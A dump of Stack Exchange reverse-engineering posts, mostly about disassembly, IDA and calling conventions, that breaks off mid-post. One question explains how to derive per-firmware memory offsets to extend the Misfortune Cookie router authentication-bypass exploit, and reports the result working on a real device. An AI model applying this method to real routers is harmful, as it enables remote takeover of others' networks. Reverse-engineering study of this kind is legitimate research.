%edi&#xA; 804841b:   56                      push   %esi&#xA; 804841c:   53                      push   %ebx&#xA; 804841d:   83 ec 14                sub    $0x14,%esp&#xA; 8048420:   8b 7d 08                mov    0x8(%ebp),%edi&#xA; 8048423:   8b 75 0c                mov    0xc(%ebp),%esi&#xA; 8048426:   83 ff 01                cmp    $0x1,%edi&#xA; 8048429:   7e 27                   jle    8048452 &amp;lt;main+0x3e&amp;gt;&#xA; 804842b:   bb 01 00 00 00          mov    $0x1,%ebx&#xA; 8048430:   8b 04 9e                mov    (%esi,%ebx,4),%eax&#xA; 8048433:   89 04 24                mov    %eax,(%esp)&#xA; 8048436:   e8 8a 00 00 00          call   80484c5 &amp;lt;gencookie&amp;gt;&#xA; 804843b:   89 44 24 04             mov    %eax,0x4(%esp)&#xA; 804843f:   c7 04 24 c4 85 04 08    movl   $0x80485c4,(%esp)&#xA; 8048446:   e8 f1 fe ff ff          call   804833c &amp;lt;printf@plt&amp;gt;&#xA; 804844b:   83 c3 01                add    $0x1,%ebx&#xA; 804844e:   39 df                   cmp    %ebx,%edi&#xA; 8048450:   7f de                   jg     8048430 &amp;lt;main+0x1c&amp;gt;&#xA; 8048452:   b8 00 00 00 00          mov    $0x0,%eax&#xA; 8048457:   83 c4 14                add    $0x14,%esp&#xA; 804845a:   5b                      pop    %ebx&#xA; 804845b:   5e                      pop    %esi&#xA; 804845c:   5f                      pop    %edi&#xA; 804845d:   89 ec                   mov    %ebp,%esp&#xA; 804845f:   5d                      pop    %ebp&#xA; 8048460:   c3                      ret    &#xA; 8048461:   90                      nop&#xA; 8048462:   90                      nop&#xA; 8048463:   90                      nop&#xA;&#xA;08048464 &amp;lt;hash&amp;gt;:&#xA; 8048464:   55                      push   %ebp&#xA; 8048465:   89 e5                   mov    %esp,%ebp&#xA; 8048467:   8b 4d 08                mov    0x8(%ebp),%ecx&#xA; 804846a:   0f b6 11                movzbl (%ecx),%edx&#xA; 804846d:   b8 00 00 00 00          mov    $0x0,%eax&#xA; 8048472:   84 d2                   test   %dl,%dl&#xA; 8048474:   74 13                   je     8048489 &amp;lt;hash+0x25&amp;gt;&#xA; 8048476:   6b c0 67                imul   $0x67,%eax,%eax&#xA; 8048479:   0f be d2                movsbl %dl,%edx&#xA; 804847c:   8d 04 02                lea    (%edx,%eax,1),%eax&#xA; 804847f:   83 c1 01                add    $0x1,%ecx&#xA; 8048482:   0f b6 11                movzbl (%ecx),%edx&#xA; 8048485:   84 d2                   test   %dl,%dl&#xA; 8048487:   75 ed                   jne    8048476 &amp;lt;hash+0x12&amp;gt;&#xA; 8048489:   5d                      pop    %ebp&#xA; 804848a:   c3                      ret    &#xA;&#xA;0804848b &amp;lt;check&amp;gt;:&#xA; 804848b:   55                      push   %ebp&#xA; 804848c:   89 e5                   mov    %esp,%ebp&#xA; 804848e:   8b 45 08                mov    0x8(%ebp),%eax&#xA; 8048491:   89 c2                   mov    %eax,%edx&#xA; 8048493:   c1 ea 1c                shr    $0x1c,%edx&#xA; 8048496:   85 d2                   test   %edx,%edx&#xA; 8048498:   74 24                   je     80484be &amp;lt;check+0x33&amp;gt;&#xA; 804849a:   3c 0a                   cmp    $0xa,%al&#xA; 804849c:   74 20                   je     80484be &amp;lt;check+0x33&amp;gt;&#xA; 804849e:   0f b6 d4                movzbl %ah,%edx&#xA; 80484a1:   83 fa 0a                cmp    $0xa,%edx&#xA; 80484a4:   74 18                   je     80484be &amp;lt;check+0x33&amp;gt;&#xA; 80484a6:   89 c2                   mov    %eax,%edx&#xA; 80484a8:   c1 ea 10                shr    $0x10,%edx&#xA; 80484ab:   80 fa 0a                cmp    $0xa,%dl&#xA; 80484ae:   74 0e                   je     80484be &amp;lt;check+0x33&amp;gt;&#xA; 80484b0:   c1 e8 18                shr    $0x18,%eax&#xA; 80484b3:   83 f8 0a                cmp    $0xa,%eax&#xA; 80484b6:   0f 95 c0                setne  %al&#xA; 80484b9:   0f b6 c0                movzbl %al,%eax&#xA; 80484bc:   eb 05                   jmp    80484c3 &amp;lt;check+0x38&amp;gt;&#xA; 80484be:   b8 00 00 00 00          mov    $0x0,%eax&#xA; 80484c3:   5d                      pop    %ebp&#xA; 80484c4:   c3                      ret    &#xA;&#xA;080484c5 &amp;lt;gencookie&amp;gt;:&#xA; 80484c5:   55                      push   %ebp&#xA; 80484c6:   89 e5                   mov    %esp,%ebp&#xA; 80484c8:   53                      push   %ebx&#xA; 80484c9:   83 ec 14                sub    $0x14,%esp&#xA; 80484cc:   8b 45 08                mov    0x8(%ebp),%eax&#xA; 80484cf:   89 04 24                mov    %eax,(%esp)&#xA; 80484d2:   e8 8d ff ff ff          call   8048464 &amp;lt;hash&amp;gt;&#xA; 80484d7:   89 04 24                mov    %eax,(%esp)&#xA; 80484da:   e8 2d fe ff ff          call   804830c &amp;lt;srand@plt&amp;gt;&#xA; 80484df:   e8 68 fe ff ff          call   804834c &amp;lt;rand@plt&amp;gt;&#xA; 80484e4:   89 c3                   mov    %eax,%ebx&#xA; 80484e6:   89 04 24                mov    %eax,(%esp)&#xA; 80484e9:   e8 9d ff ff ff          call   804848b &amp;lt;check&amp;gt;&#xA; 80484ee:   85 c0                   test   %eax,%eax&#xA; 80484f0:   74 ed                   je     80484df &amp;lt;gencookie+0x1a&amp;gt;&#xA; 80484f2:   89 d8                   mov    %ebx,%eax&#xA; 80484f4:   83 c4 14                add    $0x14,%esp&#xA; 80484f7:   5b                      pop    %ebx&#xA; 80484f8:   5d                      pop    %ebp&#xA; 80484f9:   c3                      ret    &#xA; 80484fa:   90                      nop&#xA; 80484fb:   90                      nop&#xA; 80484fc:   90                      nop&#xA; 80484fd:   90                      nop&#xA; 80484fe:   90                      nop&#xA; 80484ff:   90                      nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The executable file can be found &lt;a href=&quot;https://github.com/quinnliu/bufferBomb/blob/master/makecookie&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the ultimate disassembler (google) I found the source code (&lt;a href=&quot;http://rig.cs.luc.edu/~rig/courses/c264/csapp/labs/buflab/src/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;). I found out that the unique hex digit is created by using rand() seeded with the base-103-encoded ASCII characters of the username. Calls to rand() are repeated until an 8-digit hex number is produced (and some other constraints are met).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This update is mostly for reference)&lt;/p&gt;&#xA;" OwnerUserId="15520" LastEditorUserId="15520" LastEditDate="2016-05-14T18:47:01.347" LastActivityDate="2016-05-14T18:47:01.347" Title="Reverse engineering a disassembled C binary" Tags="|binary-analysis|x86|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12570" PostTypeId="2" ParentId="12568" CreationDate="2016-05-01T11:27:40.190" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;understanding if someone could explain what some good general&#xA;  approaches to reverse engineering assembly manually would be or any&#xA;  insights into the functions themselves.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Try opening binary EXE file with IDA and set &lt;code&gt;gdb&lt;/code&gt; as remote debugger.IDA will analyze binary at first then determines subroutines in the assembly code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a lot easier and more helpful approach you can think of.Update question with any progress you made and the specific problem you are facing so we can help you better.&lt;/p&gt;&#xA;" OwnerUserId="15892" LastActivityDate="2016-05-01T11:27:40.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12572" PostTypeId="1" CreationDate="2016-05-01T13:31:05.870" Score="2" ViewCount="10263" Body="&lt;p&gt;When I load a .Net executable into IDA then there is no &lt;code&gt;Debug&lt;/code&gt; menu as when I load a normal binary. Is there any way to enable the debug functionality for .Net as well? I'd like to step into some jitted functions in order to analyse the quality (or lack thereof) of the generated native code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can do this with Visual Studio, but that is too cumbersome and unwieldy for my taste. I'd rather use my trusted IDA, which is so much better for stuff like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried attaching to an running .Net exe but that didn't really get me anywhere, apart from the need for adding &lt;code&gt;ReadLine()&lt;/code&gt; calls to the programs to make them stay around long enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case it matters, on this machine I'm still using IDA 6.8 (Pro) at the moment because my antivirus - Avira - screams its little head off when I launch IDA 6.9 (on account of the plugins).&lt;/p&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2020-04-26T07:44:40.927" Title="Is it possible to debug a .Net executable with IDA?" Tags="|ida|debugging|.net|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12575" PostTypeId="1" AcceptedAnswerId="12576" CreationDate="2016-05-01T18:07:56.780" Score="0" ViewCount="273" Body="&lt;p&gt;Good Evening,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;currently, I am struggling around with a problem of getting the parameters of the wsasend function. The only parameter where found out something is this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov qword ptr ss:[rsp+60],rsi&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be the something with count because it's between ~60 - ~3000 (pausing application ~60, !pausing application ~3000) Not after the functioned was called so this couldn't be the &quot;bytes send&quot; parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rsi,qword ptr ss:[rsp+80]&#xA;mov qword ptr ss:[rsp+28],rsi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These 2 lines are one parameter ? I guess because rsi gets a value which is than used one instruction later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Maybe someone can give me a hint on how to find the correct parameters.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I have found this function I thought parameters are only passed to a function via push but after some research, I have found out that this is compiler dependend and I find it difficult to find the parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ILF3B.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ILF3B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int WSASend(&#xA;  __in   SOCKET s,&#xA;  __in   LPWSABUF lpBuffers,&#xA;  __in   DWORD dwBufferCount,&#xA;  __out  LPDWORD lpNumberOfBytesSent,&#xA;  __in   DWORD dwFlags,&#xA;  __in   LPWSAOVERLAPPED lpOverlapped,&#xA;  __in   LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12538" LastActivityDate="2016-05-01T18:43:48.093" Title="wsasend(disassemblied) function get parameters" Tags="|disassembly|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12576" PostTypeId="2" ParentId="12575" CreationDate="2016-05-01T18:43:48.093" Score="0" Body="&lt;p&gt;See &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms235286.aspx&quot; rel=&quot;nofollow&quot;&gt;https://msdn.microsoft.com/en-us/library/ms235286.aspx&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The arguments are passed in registers RCX, RDX, R8, and R9&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, the socket is in &lt;code&gt;rcx&lt;/code&gt;, &lt;code&gt;Buffers&lt;/code&gt; in &lt;code&gt;rdx&lt;/code&gt; (copied from &lt;code&gt;r11&lt;/code&gt;), &lt;code&gt;BufferCount&lt;/code&gt; in &lt;code&gt;r8&lt;/code&gt; copied from &lt;code&gt;r10&lt;/code&gt;, and NumberOfBytesSent in &lt;code&gt;r9&lt;/code&gt; (and stored to &lt;code&gt;rsp+50&lt;/code&gt;). The rest of the arguments are pushed on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is &lt;em&gt;not&lt;/em&gt; compiler dependent, every compiler that produces calls to windows functions has to adhere to this convention. (It is OS dependent though, the convention for Linux is different)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to learn more, google for &lt;code&gt;x64 ABI&lt;/code&gt; (ABI is for Application Binary Interface).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-05-01T18:43:48.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12580" PostTypeId="2" ParentId="12572" CreationDate="2016-05-02T03:56:24.330" Score="3" Body="&lt;p&gt;No. &lt;a href=&quot;https://www.hex-rays.com/products/ida/debugger/index.shtml&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/debugger/index.shtml&lt;/a&gt;&#xA;Ask on their support forum if you want.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2016-05-02T03:56:24.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12581" PostTypeId="1" CreationDate="2016-05-02T09:12:22.243" Score="0" ViewCount="176" Body="&lt;p&gt;I am currently analyzing a disassembled library file(.so) for in x86. There is a function called &lt;code&gt;get_random_key&lt;/code&gt; and I can't make any sense out of it. It's more than weird and I personally think this is not even allowed due to memory restrictions. Here's the code for it(disassembled with IDA):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_685     proc near       ; CODE XREF: get_random_keyp&#xA;    mov ecx, [esp+0]&#xA;    retn&#xA;sub_685     endp&#xA;&#xA;public get_random_key&#xA;get_random_key  proc near       ; CODE XREF: get_generated_key+15p&#xA;    call    sub_685&#xA;    add ecx, 1AFFh&#xA;    lea eax, [ecx+3Ch]&#xA;    retn&#xA;get_random_key  endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I see here it loads the content on top of the stack, adds 0x1AFF(6911!!) to it and then interprets this as pointer and adds 0x3C to it and returns. It's a fairly small library and it's likely that it's originally written in C. I can't think of ANY code that would produce something like this. In my eyes this results 9/10 times in a segmentation fault. It's a library that gets loaded into an android app via Java and is around 6kb big. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm glad for every hint on this function :)&lt;/p&gt;&#xA;" OwnerUserId="15928" LastActivityDate="2016-05-02T20:37:04.310" Title="Random Key Function" Tags="|assembly|x86|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12582" PostTypeId="2" ParentId="12581" CreationDate="2016-05-02T13:05:54.693" Score="3" Body="&lt;p&gt;This looks like an attempt by the compiler to generate position independent code (PIC). The call to &lt;code&gt;sub_685&lt;/code&gt; gets the address of the instruction after the call into &lt;code&gt;ecx&lt;/code&gt;. The &lt;code&gt;1AFF&lt;/code&gt; is probably the offset from that instruction to the data segment, and &lt;code&gt;3C&lt;/code&gt; is the address of the variable in the data segment. Or, &lt;code&gt;1AFF&lt;/code&gt; is the offset to a structure, and &lt;code&gt;3C&lt;/code&gt; the offset to a member of that structure.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-05-02T13:05:54.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12584" PostTypeId="2" ParentId="12581" CreationDate="2016-05-02T19:52:33.797" Score="2" Body="&lt;pre&gt;&lt;code&gt;0x401000    call    sub_685      call will return 0x401005 the return address &#xA;0x401005    add ecx, 1AFFh       ecx will be  0x401005+0x1aff = 0x402b04&#xA;0x401xxx    lea eax, [ecx+3Ch]   lea doesnt deref it will just add 3c &#xA;                                 to ecx so eax will be 402B04 assuming the&#xA;                                 call sub_685 was at address 0x401000** &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-05-02T19:52:33.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12586" PostTypeId="1" CreationDate="2016-05-03T10:50:40.967" Score="1" ViewCount="370" Body="&lt;p&gt;I'm in the middle of reverse engineering SafeNet (formerly Rainbow) iKey 1000 USB dongle protocol, in order to create Linux driver for it. I'm using Windows as guest in virtual machine on Linux host and Wireshark to examine USB packets. The protocol is quite simple, however I'm stuck with challenge-response MD5 authentication (&lt;code&gt;ikey_MD5_CHAP&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The challenge is sent do the dongle in plain text then device calculates MD5 of challenge and key stored in device and sends it back to host. However, MD5 value transmitted back in control packet seems to be obfuscated for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example value send via USB is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;09 77 e6 be 59 44 22 bc ef 60 47 da 4f bd be 80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when value returned by &lt;code&gt;ikey_MD5_CHAP&lt;/code&gt; function by original software is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0a 9a 2b 26 e2 ef ef ab ed 3d 02 73 c5 11 f1 90&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My goal is to discover the transformation function. There's great possibility that it consists of some XORs and additions since something similar was used in security officer password obfuscation as described in  &lt;a href=&quot;http://www.securityfocus.com/advisories/2440&quot; rel=&quot;nofollow&quot;&gt;http://www.securityfocus.com/advisories/2440&lt;/a&gt;. I noticed that first byte is always incremented by one in all hashes that I had generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I'm reverse engineering newbie I'm asking for directions which should I follow to discover the transformation function. I can generate as many hashes as needed.&lt;/p&gt;&#xA;" OwnerUserId="15973" LastActivityDate="2017-03-07T14:05:11.997" Title="Discovering byte array obfuscation function" Tags="|hardware|obfuscation|deobfuscation|usb|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12587" PostTypeId="1" AcceptedAnswerId="12589" CreationDate="2016-05-03T18:46:10.643" Score="2" ViewCount="4230" Body="&lt;p&gt;I'm trying to reverse a bigger structure used in an old game. Obviously I didn't know all fields when I created the structure type, and now I want to edit in some new fields / change pure byte gaps into meaningful fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This, for example, is a structure of a GuiButton which I know by now, but it's just a gap yet:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WGjt7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WGjt7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't find any way to edit the field of the structure. Do I have to completely delete the existing structure and create a new one?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8kQLb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8kQLb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6957" LastActivityDate="2021-10-29T07:30:39.450" Title="How to edit (insert new fields into) IDA structures?" Tags="|ida|hexrays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12589" PostTypeId="2" ParentId="12587" CreationDate="2016-05-03T19:02:41.043" Score="5" Body="&lt;p&gt;You can undefine the field (select &lt;strong&gt;Undefine&lt;/strong&gt; from the context menu or press &lt;kbd&gt;U&lt;/kbd&gt;) and then press &lt;kbd&gt;D&lt;/kbd&gt; to define a new field in the gap.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-05-03T19:02:41.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12590" PostTypeId="1" AcceptedAnswerId="12591" CreationDate="2016-05-03T23:14:34.897" Score="4" ViewCount="733" Body="&lt;p&gt;I am working on an exploit over a month now I have a problem and cannot go further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the link of the exploit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/doorbash/f454c698f192a0e5d1bf4da9c6869b67&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/doorbash/f454c698f192a0e5d1bf4da9c6869b67&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.exploit-db.com/exploits/39739&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.exploit-db.com/exploits/39739&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Description:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Misfortune Cookie is a critical vulnerability that allows an intruder to remotely take over an Internet router and use it to attack home and business networks.With a few magic cookies added to your request you bypass any authentication and browse the configuration interface as admin, from any open port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;‌By sending &lt;strong&gt;&lt;code&gt;Cxxx=yyy&lt;/code&gt;&lt;/strong&gt; cookie to the router web interface &lt;strong&gt;&lt;code&gt;yyy&lt;/code&gt;&lt;/strong&gt; will be saved at memory address &lt;strong&gt;&lt;code&gt;xxx * 0x28 + Offset&lt;/code&gt;&lt;/strong&gt;.If we find &lt;strong&gt;&lt;code&gt;Authentication Enable/Disable boolean address&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;offset&lt;/code&gt;&lt;/strong&gt; we can add data for this firmware to the exploit's target list and bypass the authentication by sending the right cookie.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;How I analyzed the firmwares:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The firmware I analyzed at first is &lt;strong&gt;TP-Link 8901G V3 3.0.1 Build 100901 Rel.23594&lt;/strong&gt;. &lt;a href=&quot;http://dl.2dclp.ir/doorbash.ir/mce/3.0.1%20Build%20100901%20Rel.23594&quot; rel=&quot;nofollow noreferrer&quot;&gt;download it here&lt;/a&gt; and run &lt;code&gt;binwalk -e V3 3.0.1 Build 100901 Rel.23594&lt;/code&gt; then open the largest file in extracted directory using IDA by selecting &lt;code&gt;mipsb&lt;/code&gt; as the cpu architecture and &lt;code&gt;0x80020000&lt;/code&gt; for base address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you search for &lt;strong&gt;Do not need&lt;/strong&gt; string using Alt+T keys you will find a &lt;strong&gt;sb XXXX($gp)&lt;/strong&gt;&#xA;at the very first lines of the code you realize the &lt;strong&gt;li $gp,YYYYY&lt;/strong&gt; instruction. the authentication address will be located by adding &lt;strong&gt;XXXX and YYYYY&lt;/strong&gt; which in this case will be &lt;strong&gt;0x803E1829&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we must discover how &lt;code&gt;Cookie: CNNNN=MMM;&lt;/code&gt; alter memory contents:&#xA;if you search for &quot;soapaction&quot; using Alt+T you will find this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rDv05.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rDv05.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the sub process highlighted by red color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bBWLw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bBWLw.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now consider the number 0x6b28 as &lt;strong&gt;&lt;code&gt;A = 0x6B28&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now back and toward up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7DReD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7DReD.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go to the top sub process:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/99wie.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/99wie.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you will find this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O8nNw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O8nNw.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now &lt;strong&gt;&lt;code&gt;B = 0xA44&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;C = 0x1887C&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;D = 0x8041877C&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;strong&gt;&lt;code&gt;MAGIC_NUMBER = 0x16B88&lt;/code&gt;&lt;/strong&gt; (I don't have any idea why but it works)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now &lt;strong&gt;&lt;code&gt;OFFSET = A - B + C + D - MAGIC_NUMBER = 0x80420554&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now call &lt;strong&gt;&lt;code&gt;info(calc(0x8041877C,0x1887c,0xa44,0x6B28,0x16b88),0x803E1829)&lt;/code&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;code&gt;info(0x80420554,0x803E1829)&lt;/code&gt;&lt;/strong&gt; in &lt;a href=&quot;http://dl.2dclp.ir/doorbash.ir/mce/util.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;util.py&lt;/a&gt; I attached the output is &lt;strong&gt;&lt;code&gt;,107367749,13&lt;/code&gt;&lt;/strong&gt; which is the data we need for this firmware in the exploit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the process is very similar (and different and also easier in the &lt;strong&gt;TP-Link W8961ND V3 120830&lt;/strong&gt; &lt;a href=&quot;http://dl.2dclp.ir/doorbash.ir/mce/TD-W8961ND_V3_120830_FI&quot; rel=&quot;nofollow noreferrer&quot;&gt;download it here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iXovp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iXovp.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AuthenticationAddress = 0x803605B4&#xA;A = 0x6B28&#xA;B = 0x0 (move    $a0, $s1)&#xA;C = 0x17E38&#xA;D = 0x804234C8&#xA;MAGIC_NUMBER = 0x16B88&#xA;OFFSET = A-B+C+D-MAGIC_NUMBER = 0x8042B2A0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We call &lt;strong&gt;&lt;code&gt;info(0x8042B2A0,0x803605B4)&lt;/code&gt;&lt;/strong&gt; in &lt;a href=&quot;http://dl.2dclp.ir/doorbash.ir/mce/util.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;util.py&lt;/a&gt; and output is &lt;strong&gt;&lt;code&gt;,107353414,36&lt;/code&gt;&lt;/strong&gt; which is tested on real device and works.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;THE PROBLEM IS:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;for &lt;strong&gt;TD_W961ND_V3_140305&lt;/strong&gt; &lt;a href=&quot;http://dl.2dclp.ir/doorbash.ir/mce/TD-W8961ND_V3_140305&quot; rel=&quot;nofollow noreferrer&quot;&gt;download it here&lt;/a&gt; the firmware has &lt;strong&gt;&quot;Do not need&quot;&lt;/strong&gt; and &lt;strong&gt;&quot;soapacation&quot;&lt;/strong&gt; texts but IDA cannot find the pointing addresses to these strings.I could not find out why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modifications and bug fixes for this according to &lt;a href=&quot;http://www.tp-link.com/en/download/TD-W8961ND_V3.html#Firmware&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; is :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add the security mechanism.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fixed the problem router's time can't synchronize from PC successfully.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Banned accessing the firmware upgrading page from WAN.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fixed the problem that router failed to upload rom-0(Backup configuration).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Solved the problem that the login interface can't save the password correctly in Chrome and Firefox.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Solved the problem that we can’t visit CPE using “IP:Port” after we set up Virtual Server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Forbidden access to the device through &lt;a href=&quot;http://wan/lan&quot; rel=&quot;nofollow 